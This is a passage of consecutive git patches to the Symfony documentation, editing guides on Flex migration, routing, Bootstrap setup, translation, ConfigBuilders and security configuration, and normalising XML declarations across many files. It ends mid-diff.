From 6490e83710ec01f9091e05b84f76a70e879399ec Mon Sep 17 00:00:00 2001
From: Chris Maiden <chrispmaiden@gmail.com>
Date: Sat, 13 Mar 2021 15:00:41 +0000
Subject: [PATCH 0721/5766] Remove duplicate step

---
 setup/flex.rst | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/setup/flex.rst b/setup/flex.rst
index 21c470a1073..7d66cd1e37b 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -117,14 +117,14 @@ manual steps:
    * ``app/Resources/<BundleName>/views/`` -> ``templates/bundles/<BundleName>/``
    * rest of ``app/Resources/`` files -> ``src/Resources/``
 
-#. Move the original PHP source code from ``src/AppBundle/*``, except bundle
+#. Move the original PHP source code files from ``src/AppBundle/*``, except bundle
    specific files (like ``AppBundle.php`` and ``DependencyInjection/``), to
-   ``src/``.
+   ``src/`` and update the namespace of each moved file to be ``App\...`` (advanced
+   IDEs can do this automatically).
 
    In addition to moving the files, update the ``autoload`` and ``autoload-dev``
    values of the ``composer.json`` file as `shown in this example`_ to use
-   ``App\`` and ``App\Tests\`` as the application namespaces (advanced IDEs can
-   do this automatically).
+   ``App\`` and ``App\Tests\`` as the application namespaces.
 
    If you used multiple bundles to organize your code, you must reorganize your
    code into ``src/``. For example, if you had ``src/UserBundle/Controller/DefaultController.php``
@@ -133,6 +133,8 @@ manual steps:
 
 #. Move the public assets, such as images or compiled CSS/JS files, from
    ``src/AppBundle/Resources/public/`` to ``public/`` (e.g. ``public/images/``).
+   
+#. Remove ``src/AppBundle/``.
 
 #. Move the source of the assets (e.g. the SCSS files) to ``assets/`` and use
    :doc:`Webpack Encore </frontend>` to manage and compile them.
@@ -149,12 +151,6 @@ manual steps:
 #. Update the ``bin/console`` script `copying Symfony's bin/console source`_
    and changing anything according to your original console script.
 
-#. Remove ``src/AppBundle/``.
-
-#. Move the original source code from ``src/{App,...}Bundle/`` to ``src/`` and
-   update the namespaces of every PHP file to be ``App\...`` (advanced IDEs can do
-   this automatically).
-
 #. Remove the ``bin/symfony_requirements`` script and if you need a replacement
    for it, use the new `Symfony Requirements Checker`_.
 

From 60f8569b4aa1e91188726fdfa53cce2e927c59b9 Mon Sep 17 00:00:00 2001
From: Dane Powell <git@danepowell.com>
Date: Fri, 5 Mar 2021 09:57:08 -0800
Subject: [PATCH 0722/5766] Command naming conventions

---
 contributing/code/conventions.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 0b50de6885f..62bf4217044 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -234,3 +234,11 @@ of the impacted component:
 This task is mandatory and must be done in the same pull request.
 
 .. _`@-silencing operator`: https://www.php.net/manual/en/language.operators.errorcontrol.php
+
+Naming Commands and Options
+---------------------------
+
+Commands and their options should be named and described using the English
+imperative mood (i.e. 'run' instead of 'runs', 'list' instead of 'lists'). Using
+the imperative mood is concise and consistent with similar command-line
+interfaces (such as Unix man pages).

From 9fcc2b93948a9c0aecaca49e9ba0f7e50c3f81eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 12:59:49 +0200
Subject: [PATCH 0723/5766] Minor tweak

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index c92fedd05d0..bd90b127950 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1886,7 +1886,7 @@ use the ``generateUrl()`` helper::
     converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
     as value of an extra parameter, you need to explictly convert it to a string::
 
-        $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid())]
+        $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid()]);
 
 If your controller does not extend from ``AbstractController``, you'll need to
 :ref:`fetch services in your controller <controller-accessing-services>` and

From b0b8c9512199bc84a3a7fff5877156fe3c36c1bd Mon Sep 17 00:00:00 2001
From: Christian Oellers <2101569+ChristianOellers@users.noreply.github.com>
Date: Sun, 7 Mar 2021 17:47:13 +0100
Subject: [PATCH 0724/5766] Distinct Bootstrap jQuery requirement

Add distinction to jQuery requirement for Bootstrap version 5, which does not require it to be used:
https://getbootstrap.com/docs/5.0/getting-started/javascript/#still-want-to-use-jquery-its-possible
---
 frontend/encore/bootstrap.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index fedb5153cac..3a660353fcb 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -37,7 +37,8 @@ file into ``global.scss``. You can even customize the Bootstrap variables first!
 Importing Bootstrap JavaScript
 ------------------------------
 
-Bootstrap JavaScript requires jQuery and Popper.js, so make sure you have this installed:
+Bootstrap JavaScript requires Popper.js. Prior to Bootstrap 5, jQuery is required too.
+Make sure you have this installed:
 
 .. code-block:: terminal
 

From f408efa5687f7dcf2ed96f992bf4e82a0783db28 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 13:15:10 +0200
Subject: [PATCH 0725/5766] Tweaks

---
 frontend/encore/bootstrap.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index 3a660353fcb..5d260bbc21a 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -37,11 +37,12 @@ file into ``global.scss``. You can even customize the Bootstrap variables first!
 Importing Bootstrap JavaScript
 ------------------------------
 
-Bootstrap JavaScript requires Popper.js. Prior to Bootstrap 5, jQuery is required too.
-Make sure you have this installed:
+First, install the JavaScript dependencies required by the Bootstrap version
+used in your application:
 
 .. code-block:: terminal
 
+    // jQuery is only required in versions prior to Bootstrap 5
     $ yarn add jquery popper.js --dev
 
 Now, require bootstrap from any of your JavaScript files:

From a254b85913dfa3c0efa7e6e5affc742b1bb7e156 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 13:39:02 +0200
Subject: [PATCH 0726/5766] Rewords

---
 validation/translations.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/validation/translations.rst b/validation/translations.rst
index 3edc15dab5e..16df7921327 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -4,17 +4,19 @@
 How to Translate Validation Constraint Messages
 ===============================================
 
-If you're using validation constraints with the Form component, you can translate
-the error messages by creating a translation resource for the
-``validators`` :ref:`domain <translation-resource-locations>`.
+The validation constraints used in forms can translate their error messages by
+creating a translation resource for the ``validators``
+:ref:`translation domain <translation-resource-locations>`.
 
-.. note::
+First of all, install the Symfony translation component (if it's not already
+installed in your application) running the following command:
 
-    In order to translate the error message, you should have installed the
-    symfony/translation component with Composer.
+.. code-block:: terminal
 
-To start, suppose you've created a plain-old-PHP object that you need to
-use somewhere in your application::
+    $ composer require symfony/translation
+
+Suppose you've created a plain-old-PHP object that you need to use somewhere in
+your application::
 
     // src/Entity/Author.php
     namespace App\Entity;

From 088f9c40045700cb8b01458897d910fbb2745934 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 13 Feb 2021 15:43:50 +0100
Subject: [PATCH 0727/5766] [Routing] Adding `exclude` to PHP code sample

---
 routing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/routing.rst b/routing.rst
index 86defd2bafc..f05704bdd50 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1255,6 +1255,7 @@ the common configuration using options when importing the routes.
                 ->namePrefix('blog_')
                 // these requirements are added to all imported routes
                 ->requirements(['_locale' => 'en|es|fr'])
+                ->exclude('../../src/Controller/{DebugEmailController}.php')
             ;
         };
 

From ee18ef944c903b9cec07d1643830a981f8615281 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 14:57:44 +0200
Subject: [PATCH 0728/5766] Tweaks

---
 routing.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/routing.rst b/routing.rst
index 242e9dcde93..a0617bfb31e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1199,9 +1199,11 @@ the common configuration using options when importing the routes.
             # these requirements are added to all imported routes
             requirements:
                 _locale: 'en|es|fr'
+
             # An imported route with an empty URL will become "/blog/"
             # Uncomment this option to make that URL "/blog" instead
             # trailing_slash_on_root: false
+
             # you can optionally exclude some files/subdirectories when loading annotations
             # exclude: '../../src/Controller/{DebugEmailController}.php'
 
@@ -1248,13 +1250,18 @@ the common configuration using options when importing the routes.
             $routes->import('../../src/Controller/', 'annotation')
                 // this is added to the beginning of all imported route URLs
                 ->prefix('/blog')
+
                 // An imported route with an empty URL will become "/blog/"
                 // Pass FALSE as the second argument to make that URL "/blog" instead
                 // ->prefix('/blog', false)
+
                 // this is added to the beginning of all imported route names
                 ->namePrefix('blog_')
+
                 // these requirements are added to all imported routes
                 ->requirements(['_locale' => 'en|es|fr'])
+
+                // you can optionally exclude some files/subdirectories when loading annotations
                 ->exclude('../../src/Controller/{DebugEmailController}.php')
             ;
         };

From 74d460ec5b99731e230522f356016fbc2bd7e500 Mon Sep 17 00:00:00 2001
From: Evgeniy Gavrilov <yev.gavrilov@gmail.com>
Date: Mon, 21 Dec 2020 22:40:36 +0300
Subject: [PATCH 0729/5766] Fix possible error code

Pseudo-type `iterable` accepts any `array` or `object` implementing the `Traversable` interface.  Constructor will be crashed when we try to pass array instead of `Traversable` and use `iterator_to_array`.
`iterator_to_array` dont work with arrays.
Then if always passing `Traversable` we could write like this:
```php
public function __construct(Traversable $handlers)
```
or check instance on `Traversable`.
---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 6783ef06d4e..76d4cb9792e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -798,7 +798,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
     {
         public function __construct(iterable $handlers)
         {
-            $handlers = iterator_to_array($handlers);
+            $handlers = $handlers instanceof \Traversable ? iterator_to_array($handlers) : $handlers;
 
             $handlerTwo = $handlers['handler_two'];
         }

From 5b427af35e0150f388bd02a030a71681757a3c5a Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 2 Apr 2021 12:55:28 +0200
Subject: [PATCH 0730/5766] [Config] Add docs for ConfigBuilders

---
 configuration.rst | 39 +++++++++++++++++++++++++++++++++++++--
 1 file changed, 37 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 5d4354d562b..0de52977451 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -71,8 +71,8 @@ readable. These are the main advantages and disadvantages of each format:
   and validation for it. :doc:`Learn the YAML syntax </components/yaml/yaml_format>`;
 * **XML**:autocompleted/validated by most IDEs and is parsed natively by PHP,
   but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
-* **PHP**: very powerful and it allows you to create dynamic configuration, but the
-  resulting configuration is less readable than the other formats.
+* **PHP**: very powerful and it allows you to create dynamic configuration with
+  arrays or a :ref:`ConfigBuilder <config-config-builder>`.
 
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -914,6 +914,41 @@ parameters at once by type-hinting any of its constructor arguments with the
         }
     }
 
+.. _config-config-builder:
+
+Using PHP ConfigBuilders
+------------------------
+
+Writing PHP config is sometimes difficult because you end up with large nested arrays
+and you have no help from your favorite IDE. A way to address this is to use "ConfigBuilders".
+They are objects that will help you build these arrays.
+
+.. versionadded:: 5.3
+
+    The "ConfigBuilders" was added in Symfony 5.3 as an :doc:`experimental feature </contributing/code/experimental>`.
+
+The ConfigBuilders are automatically generated in your ``kernel.build_dir`` for
+every bundle. By convention they all live in the namespace ``Symfony\Config``.::
+
+    // config/packages/security.php
+    use Symfony\Config\SecurityConfig;
+
+    return static function (SecurityConfig $security) {
+        $security->firewall('main')
+            ->pattern('^/*')
+            ->lazy(true)
+            ->anonymous();
+
+        $security
+            ->roleHierarchy('ROLE_ADMIN', ['ROLE_USER'])
+            ->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH'])
+            ->accessControl()
+                ->path('^/user')
+                ->role('ROLE_USER');
+
+        $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']);
+    };
+
 Keep Going!
 -----------
 

From 6a55e20d79ed05c02076563d3da4ebaa58b25627 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 16:00:16 +0200
Subject: [PATCH 0731/5766] Minor tweak

---
 configuration.rst                  | 18 +++++++++++-------
 reference/configuration/kernel.rst |  3 ++-
 2 files changed, 13 insertions(+), 8 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 35b6bc8129f..fbd36889577 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -919,16 +919,20 @@ parameters at once by type-hinting any of its constructor arguments with the
 Using PHP ConfigBuilders
 ------------------------
 
-Writing PHP config is sometimes difficult because you end up with large nested arrays
-and you have no help from your favorite IDE. A way to address this is to use "ConfigBuilders".
-They are objects that will help you build these arrays.
-
 .. versionadded:: 5.3
 
-    The "ConfigBuilders" was added in Symfony 5.3 as an :doc:`experimental feature </contributing/code/experimental>`.
+    The "ConfigBuilders" feature was introduced in Symfony 5.3 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+Writing PHP config is sometimes difficult because you end up with large nested
+arrays and you have no autocompletion help from your favorite IDE. A way to
+address this is to use "ConfigBuilders". They are objects that will help you
+build these arrays.
 
-The ConfigBuilders are automatically generated in your ``kernel.build_dir`` for
-every bundle. By convention they all live in the namespace ``Symfony\Config``.::
+Symfony generates the ConfigBuilder classes automatically in the
+:ref:`kernel build directory <configuration-kernel-build-directory>` for all the
+bundles installed in your application. By convention they all live in the
+namespace ``Symfony\Config``::
 
     // config/packages/security.php
     use Symfony\Config\SecurityConfig;
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 6e05536e525..10e87ca1a67 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -103,6 +103,8 @@ the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir` method. To
 change this setting, override the ``getCacheDir()`` method to return the correct
 cache directory.
 
+.. _configuration-kernel-build-directory:
+
 Build Directory
 ~~~~~~~~~~~~~~~
 
@@ -123,7 +125,6 @@ the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir` method. To
 change this setting, override the ``getBuildDir()`` method to return the correct
 build directory.
 
-
 Log Directory
 ~~~~~~~~~~~~~
 

From 6479f2f2df8473f640ab8537a3c5bd7951846803 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 16:16:07 +0200
Subject: [PATCH 0732/5766] Added the "versionadded" comments

---
 components/security/authentication.rst | 2 ++
 security/user_provider.rst             | 6 ++++++
 2 files changed, 8 insertions(+)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 0b0e2d97f95..18b780b6d84 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -130,6 +130,8 @@ password was valid::
     use Symfony\Component\Security\Core\User\InMemoryUserProvider;
     use Symfony\Component\Security\Core\User\UserChecker;
 
+    // The 'InMemoryUser' class was introduced in Symfony 5.3.
+    // In previous versions it was called 'User'
     $userProvider = new InMemoryUserProvider(
         [
             'admin' => [
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 491eb57e256..5cef2533e12 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -231,6 +231,8 @@ users will encode their passwords:
             # ...
             encoders:
                 # this internal class is used by Symfony to represent in-memory users
+                # (the 'InMemoryUser' class was introduced in Symfony 5.3.
+                # In previous versions it was called 'User')
                 Symfony\Component\Security\Core\User\InMemoryUser: 'auto'
 
     .. code-block:: xml
@@ -249,6 +251,8 @@ users will encode their passwords:
                 <!-- ... -->
 
                 <!-- this internal class is used by Symfony to represent in-memory users -->
+                <!-- (the 'InMemoryUser' class was introduced in Symfony 5.3.
+                     In previous versions it was called 'User') -->
                 <encoder class="Symfony\Component\Security\Core\User\InMemoryUser"
                     algorithm="auto"
                 />
@@ -260,6 +264,8 @@ users will encode their passwords:
         // config/packages/security.php
 
         // this internal class is used by Symfony to represent in-memory users
+        // (the 'InMemoryUser' class was introduced in Symfony 5.3.
+        // In previous versions it was called 'User')
         use Symfony\Component\Security\Core\User\InMemoryUser;
 
         $container->loadFromExtension('security', [

From c975d5d029f1210cdb5810431e07d7e5ce03e7a2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Apr 2021 16:51:11 +0200
Subject: [PATCH 0733/5766] Minor reword

---
 routing.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index 1d9e9b08746..0551b44eaf4 100644
--- a/routing.rst
+++ b/routing.rst
@@ -997,10 +997,12 @@ Priority Parameter
 
     The ``priority`` parameter was introduced in Symfony 5.1
 
-Symfony evaluates routes in the order they are defined. So a routing pattern
-that matches many routes might prevent subsequent routes to be matched. In YAML
-and XML you can control the order by moving the routes up or down inside the file.
-For annotations and attributes, there is an optional ``priority`` parameter:
+Symfony evaluates routes in the order they are defined. If the path of a route
+matches many different patterns, it might prevent other routes from being
+matched. In YAML and XML you can move the route definitions up or down in the
+configuration file to control their priority. In routes defined as PHP
+annotations or attributes this is much harder to do, so you can set the
+optional ``priority`` parameter in those routes to control their priority:
 
 .. configuration-block::
 

From 34f121f17ac7be21a1884047fd499f32dd2b695a Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Apr 2021 19:36:22 +0200
Subject: [PATCH 0734/5766] Be consistent how we open XML dom

---
 bundles/configuration.rst                       |  4 ++--
 components/dependency_injection/compilation.rst |  2 +-
 components/dom_crawler.rst                      |  2 +-
 components/serializer.rst                       | 10 +++++-----
 configuration/override_dir_structure.rst        |  4 ++--
 create_framework/unit_testing.rst               |  4 ++--
 doctrine/events.rst                             |  8 ++++----
 doctrine/multiple_entity_managers.rst           |  2 +-
 forms.rst                                       |  2 +-
 reference/configuration/security.rst            |  2 +-
 routing.rst                                     |  4 ++--
 routing/custom_route_loader.rst                 |  2 +-
 security.rst                                    | 14 +++++++-------
 security/access_control.rst                     | 10 +++++-----
 security/access_denied_handler.rst              |  4 ++--
 security/auth_providers.rst                     |  6 +++---
 security/custom_authentication_provider.rst     |  6 +++---
 security/firewall_restriction.rst               |  8 ++++----
 security/force_https.rst                        |  2 +-
 security/form_login.rst                         | 12 ++++++------
 security/form_login_setup.rst                   |  2 +-
 security/guard_authentication.rst               |  6 +++---
 security/impersonating_user.rst                 |  6 +++---
 security/json_login_setup.rst                   |  4 ++--
 security/ldap.rst                               |  8 ++++----
 security/multiple_guard_authenticators.rst      |  4 ++--
 security/named_encoders.rst                     |  2 +-
 security/password_migration.rst                 |  2 +-
 security/user_checkers.rst                      |  2 +-
 security/user_provider.rst                      | 10 +++++-----
 serializer.rst                                  |  2 +-
 service_container/tags.rst                      |  2 +-
 testing/bootstrap.rst                           |  4 ++--
 testing/http_authentication.rst                 |  2 +-
 translation.rst                                 |  2 +-
 translation/debug.rst                           |  4 ++--
 translation/message_format.rst                  | 12 ++++++------
 translation/xliff.rst                           |  2 +-
 validation/translations.rst                     |  2 +-
 39 files changed, 93 insertions(+), 93 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 40eaf331d4f..dac9550a161 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -64,7 +64,7 @@ can add some configuration that looks like this:
     .. code-block:: xml
 
         <!-- config/packages/acme_social.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:acme-social="http://example.org/schema/dic/acme_social"
@@ -416,7 +416,7 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
 .. code-block:: xml
 
     <!-- config/packages/acme_hello.xml -->
-    <?xml version="1.0" ?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:acme-hello="http://acme_company.com/schema/dic/hello"
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 55725be8da0..d7284046b82 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -197,7 +197,7 @@ The XML version of the config would then look like this:
 
 .. code-block:: xml
 
-    <?xml version="1.0" ?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:acme_demo="http://www.example.com/symfony/schema/"
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index b1dda3d42f7..93aba242eaf 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -126,7 +126,7 @@ Consider the XML below:
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <entry
         xmlns="http://www.w3.org/2005/Atom"
         xmlns:media="http://search.yahoo.com/mrss/"
diff --git a/components/serializer.rst b/components/serializer.rst
index 84c8ecb8a36..783f293e83d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -331,7 +331,7 @@ Then, create your groups definition:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -613,7 +613,7 @@ defines a ``Person`` entity with a ``firstName`` property:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -903,7 +903,7 @@ For example, take an object normalized as following::
 
 The ``XmlEncoder`` will encode this object like that::
 
-    <?xml version="1.0"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <response>
         <foo>1</foo>
         <foo>2</foo>
@@ -1187,7 +1187,7 @@ Here, we set it to 2 for the ``$child`` property:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
@@ -1505,7 +1505,7 @@ and ``BitBucketCodeRepository`` classes:
 
     .. code-block:: xml
 
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index ece722f6f27..e832daeb030 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -114,7 +114,7 @@ for multiple directories):
     .. code-block:: xml
 
         <!-- config/packages/twig.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:twig="http://symfony.com/schema/dic/twig"
@@ -156,7 +156,7 @@ configuration option to define your own translations directory (use :ref:`framew
     .. code-block:: xml
 
         <!-- config/packages/translation.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:twig="http://symfony.com/schema/dic/twig"
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 099ada7e704..cff94d1087b 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -13,7 +13,7 @@ using `PHPUnit`_. Create a PHPUnit configuration file in
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/5.1/phpunit.xsd"
@@ -49,7 +49,7 @@ resolver. Modify the framework to make use of them::
     namespace Simplex;
 
     // ...
-    
+
     use Calendar\Controller\LeapYearController;
     use Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface;
     use Symfony\Component\HttpKernel\Controller\ControllerResolverInterface;
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 30b48856c13..8acde6359ed 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -176,7 +176,7 @@ with the ``doctrine.event_listener`` tag:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
@@ -283,7 +283,7 @@ with the ``doctrine.orm.entity_listener`` tag:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
@@ -425,7 +425,7 @@ with the ``doctrine.event_subscriber`` tag:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
@@ -464,7 +464,7 @@ can do it in the service configuration:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
             <services>
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 32e5a979cdb..e55165bc458 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -71,7 +71,7 @@ The following configuration code shows how you can configure two entity managers
     .. code-block:: xml
 
         <!-- config/packages/doctrine.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
diff --git a/forms.rst b/forms.rst
index 6f244fd7d1c..289e1a194b0 100644
--- a/forms.rst
+++ b/forms.rst
@@ -521,7 +521,7 @@ object.
     .. code-block:: xml
 
         <!-- config/validator/validation.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 399794e2402..7a2b23b0d2d 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -358,7 +358,7 @@ application:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/routing.rst b/routing.rst
index a0617bfb31e..fefe3a190a3 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1996,7 +1996,7 @@ generate URLs. This context can be configured globally for all commands:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
@@ -2111,7 +2111,7 @@ method) or globally with these configuration parameters:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index b438ed7bb11..16a445d96a6 100644
